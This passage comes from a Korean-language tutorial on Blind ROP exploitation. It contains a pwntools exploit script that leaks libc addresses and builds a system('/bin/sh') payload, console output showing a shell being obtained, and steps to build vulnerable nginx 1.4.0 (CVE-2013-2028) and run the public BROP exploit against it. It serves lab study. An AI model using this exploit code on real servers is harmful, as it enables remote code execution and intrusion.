p64(puts_plt) payload += p64(stop_gadget) data = r.recv(timeout=0.5) data = data[:data.index("\nwelcome")] except ValueError as e: data = data except Exception as e: continue if len(data.split()) == 0:

data = '\x00' dump += data now += len(data) with open('memory.dump','wb') as f: f.write(dump) p.success("done") def leak_libc(r,size,stop_gadget,rdi_ret,put_plt,puts_got): payload += 'A' * size payload += p64(rdi_ret) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(stop_gadget) leakaddr = r.recvuntil("\nwelcome my friend,do you know password?\n", drop=true) leakaddr = u64(leakaddr.ljust(8, '\x00')) return leakaddr size = check_overflow() log.info('overflow size : ' + str(size)) stop_gadget = find_stop_gadget(size) #stop_gadget = 0x4005c0 brop_gadget = find_brop_gadget(size, stop_gadget) #brop_gadget = 0x4007ba log.success('brop Gadget : ' + hex(brop_gadget)) rdi_gadget = brop_gadget + 9 log.success('rdi Gadget : ' +hex(rdi_gadget)) puts_plt = find_puts_addr(size,stop_gadget,rdi_gadget) #puts_plt = 0x400555 log.success('puts plt : ' + hex(puts_plt)) #memory_dump(size,stop_gadget,rdi_gadget,puts_plt) puts_got = 0x601018 addr_puts_libc = leak_libc(r,size,stop_gadget,rdi_gadget,puts_plt,puts_got) log.info('address of puts in libc : ' + hex(addr_puts_libc)) lib = LibcSearcher('puts', addr_puts_libc) libcbase = addr_puts_libc - lib.dump('puts') system_addr = libcbase + lib.dump('system') binsh_addr = libcbase + lib.dump('str_bin_sh') log.info('libc base : ' + hex(libcbase)) log.info('system : ' + hex(system_addr)) log.info('binsh : ' + hex(binsh_addr)) payload = "A" * size payload += p64(rdi_gadget) payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(stop_gadget) r.interactive() 다음과같이 Shell 을획득할수있습니다.

python BROP.py lazenca0x0@ubuntu:~/exploit/brop$ python BROP.py [+] Overflow size : 72 [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Stop address: 0x4005c0 [+] STOP Gadget : 0x4005c0 [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [*] Maybe BROP Gagget : 0x4005c0 [*] Maybe BROP Gagget : 0x4005c2 [*] Maybe BROP Gagget : 0x4005c3 [*] Maybe BROP Gagget : 0x4005c5 [*] Maybe BROP Gagget : 0x4005c6 [*] Maybe BROP Gagget : 0x4005c7 [*] Maybe BROP Gagget : 0x4005c9 [*] Maybe BROP Gagget : 0x4005cd [*] Maybe BROP Gagget : 0x4005ce [*] Maybe BROP Gagget : 0x4005cf [*] Maybe BROP Gagget : 0x4005d0 [*] Maybe BROP Gagget : 0x4005d6 [*] Maybe BROP Gagget : 0x4005d7 [*] Maybe BROP Gagget : 0x4005dd [*] Maybe BROP Gagget : 0x4005de [*] Progressed to 0x600 [*] Maybe BROP Gagget : 0x4006b6 [*] Maybe BROP Gagget : 0x4006b7 [*] Maybe BROP Gagget : 0x4006b8 [*] Maybe BROP Gagget : 0x4006ba [*] Maybe BROP Gagget : 0x4006ce [*] Maybe BROP Gagget : 0x4006e2 [*] Maybe BROP Gagget : 0x4006f6 [*] Progressed to 0x700 [*] Maybe BROP Gagget : 0x4007ba [*] Finded BROP Gagget : 0x4007ba [+] BROP Gadget : 0x4007ba [+] RDI Gadget : 0x4007c3 [*] Progressed to 0x100 [*] Progressed to 0x200 [*] Progressed to 0x300 [*] Progressed to 0x400 [*] Progressed to 0x500 [+] Puts plt : 0x400555 [+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed. [+] libc base : 0x7f8e66eec000 [+] system : 0x7f8e66f31390 [+] binsh : 0x7f8e67078d57 $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev), 113(lpadmin),128(sambashare) $ lazenca0x0@ubuntu:~/exploit/brop$ CVE-2013-2028 해당취약성은 BROP를이용하여공격이가능한취약성입니다. BROP에흥미가있다면해당취약성을이용하여조금더공부해보는것도좋습니다. 여기에서는해당취약성에대해공개된 BROP Exploit code를테스트하는환경까지만설명하겠습니다. Setting up the test environment

Install sudo apt-get update sudo apt-get install libpcre3 libpcre3-dev sudo apt-get install openssl libssl-dev wget nginx.org/download/nginx-1.4.0.tar.gz tar zxvf nginx-1.4.0.tar.gz cd nginx-1.4.0./configure --sbin-path=/usr/local/nginx/nginx --conf-path=/usr/local/nginx/nginx.conf --pid-path=/usr/local /nginx/nginx.pid --with-http_ssl_module vi objs/makefile Makefile 에 -fstack-protector 을추가합니다. vi objs/makefile... CFLAGS = -pipe -O -W -Wall -Wpointer-arith -Wno-unused -Werror -g -fstack-protector... 다음과같이해당코드를빌드합니다. Build nginx make -j4 sudo make install nginx.conf 에서동작할프로세스의수를증가시킵니다. sudo vi /usr/local/nginx/nginx.conf worker_processes 4; 다음과같이 nginx 를실행합니다. Run nginx sudo /usr/local/nginx/nginx Download Exploit code wget www.scs.stanford.edu/brop/nginx-1.4.0-exp.tgz tar zxvf nginx-1.4.0-exp.tgz cd nginx-1.4.0-exp Run Exploit code 기본적으로 shell 을획들하도록되어있으며, nginx 바이너리파일을덤프하는기능은주석처리되어있습니다../brop.rb 127.0.0.1 References https://oddcoder.com/brop-102/ https://github.com/sam-b/broppy https://www.anquanke.com/post/id/85331

https://github.com/zh-explorer/hctf2016-brop http://muhe.live/2017/01/22/have-fun-with-blind-rop/ http://www.scs.stanford.edu/~sorbo/brop/bittau-brop.pdf https://en.wikipedia.org/wiki/blind_return_oriented_programming https://github.com/zh-explorer/hctf2016-brop/blob/master/main.c https://github.com/firmianay/ctf-all-in-one/blob/master/doc/6.1.1_pwn_hctf2016_brop.md https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2015/june/blind-return-oriented-programming/ https://github.com/shadowshusky/ctf-wiki/blob/15a55481c5fcb8b998f4affc98be40839a4f713a/pwn/stackoverflow/example/hctf2016- brop/exploit.py